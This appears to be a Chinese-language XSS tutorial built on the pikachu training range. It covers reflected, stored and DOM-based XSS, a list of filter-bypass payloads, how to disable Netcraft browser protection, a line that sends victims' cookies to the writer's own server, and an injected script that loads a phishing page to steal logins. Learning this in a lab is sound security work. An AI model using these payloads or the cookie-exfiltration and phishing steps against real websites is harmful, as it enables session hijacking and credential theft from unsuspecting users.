中华人民共和国网络安全法
阅读本文前,请熟读并遵守中华人民共和国网络安全法:
http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P020200618385401918830.pdf
目录
简介
跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。
XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?
XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。
从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
靶场搭建
pikachu 漏洞训练训练平台下载地址:https://github.com/zhuifengshaonianhanlu/pikachu
按照之前的章节中的内容部署这个靶场
反射型xss攻击
又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。
pikachu 靶场 cross site script 联系,反射xss
在输入框中输入
<script>alert(11)</script>
点击提交就能看到我们的代码被执行了
当然有的情况会被Netcraft 拦截,关闭方法
点击右上角菜单,就是三个横-》附加组件-》扩展,向下滑,找到Netcraft 模块,点击禁用。
然后进行上面的操作就没有问题了。
当然,这一关是get请求,我们可以将我们的xss部分编码,变得不可识别,如下图
红框中的内容就是我们编码的内容,发送后,还是能够正常执行
点击第二个post反射
先登录上去,利用提示的账户密码,然后输入这样一段内容:
<script>alert(document.cookie)</script>
然后就可以看到用户的cookie,如下图
当然,实际中你可能需要利用类似于这样的语句,发送cookie到自己的服务器上,
<script>document.location='http://192.168.44.128/get1.php?cookie='+document.cookie;</script>
存储型xss攻击
又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。
打开靶场练习题 :存储型xss
这里是一个类似于留言板的功能,我们再输入框中输入:<script>alert(1);</script>
然后提交,
下次再进入到这个界面,任何能看到这个留言的用户访问这个界面都会出现弹窗。
DOM型
基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。
通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。
它和上面两种类型的不同点是它是基于文档对象模型的漏洞,不需要经过后端处理。
前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其他攻击者可以修改的对象)。
这里来看一下靶场的测试题:DOM型xss,F12,看一下网站源码,会看到提交按钮对应的函数如下:
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
它这里直接将输入框中的内容执行了document操作,那么我们再输入框中输入这样的内容:
'><img src="#" onmouseover="alert('xss')">
这段代码首先是对上一个标签进行截断,然后再执行另个一标签。
XSS过滤的绕过
某些网站会对输入的内容进行过滤,简单的方法会被过滤掉,这里提供几个绕过的方法
脚本标签
例如,我们将xss注入语句写成如下方式
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
这是一种伪协议的方法,其中PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==是<script>alert(1)</script>
的base64编码,
测试练习靶场:xss之过滤
事件处理器
不需要用户交互的可执行js的事件处理器:
onreadystatechange(xml,style,iframe,object,img,input,isindex,bground)
onpropertychange
onbeforeactivate
onfocusin
onactivate
类似上面的:<img src=a onmouseover="alert('xss')">
测试靶场第七关
脚本伪协议
脚本伪协议可以用在各种位置,在需要URL的属性中执行行内脚本,如:
<object data=javascript:alert(1)>
标签名称
通过改变标签名称的大小写,可以避开最简单的过滤:
<iMg onerror=alert(1) src=a>
更进一步,可以在任何位置插入NULL字节:
<[%00]img onerror=alert(1) src=a>
<i[%00]mg onerror=alert(1) src=a>
或者,可以将标签作一改变,即可避开仅仅阻止特定标签名的过滤:
<x onclick=alert(1) src=a>Click here</x>
标签名称后的空格
可以使用:/,[%09],[%0d],[%0a],/”,/’
来代替空格,如:
<img/onerror=alert(1) src=a>
通过HTML编码绕过过滤(也可以使用十进制r,十六进制Ĕ)
使用HTML编码,在进一步处理属性值的时候,浏览器会对其进行HTML解码:
<img onerror=alert(1) src=a>
如果存在两次URL解码
可以通过构造:
%253cimg%20onerror=alert(1)%20src=a%253e
第一次URL解码以后:
%3cimg onerror=alert(1) src=a%3e
第二次URL解码以后:
<img onerror=alert(1) src=a>
字符集绕过
UTF-7,US-ASCII,UTF-16(这种方法只有在浏览器支持所用的字符集才可以,或者你可以控制HTTPContent-Type消息头)
使用js转义
Unicode转义可以用于表示js关键词中的字符
<script>a\u006cert(1);</script>
通过eval命令来动态构建字符串
<script>eval('al'+'ert(1)');</script>
替代eval的方法
<script>'alert(1)'.replace(/.+/,eval)</script>
基于xss的钓鱼攻击
首选构造一个钓鱼网站,如qq登陆界面,游戏官网账号的登陆界面
然后利用xss,注入这样一段代码
<script src = "http://你的网站地址/钓鱼.php"></script>
当用户打开目标网站时会弹出你制作好的钓鱼网站,
如果用户不够聪明就会被你窃取账户密码。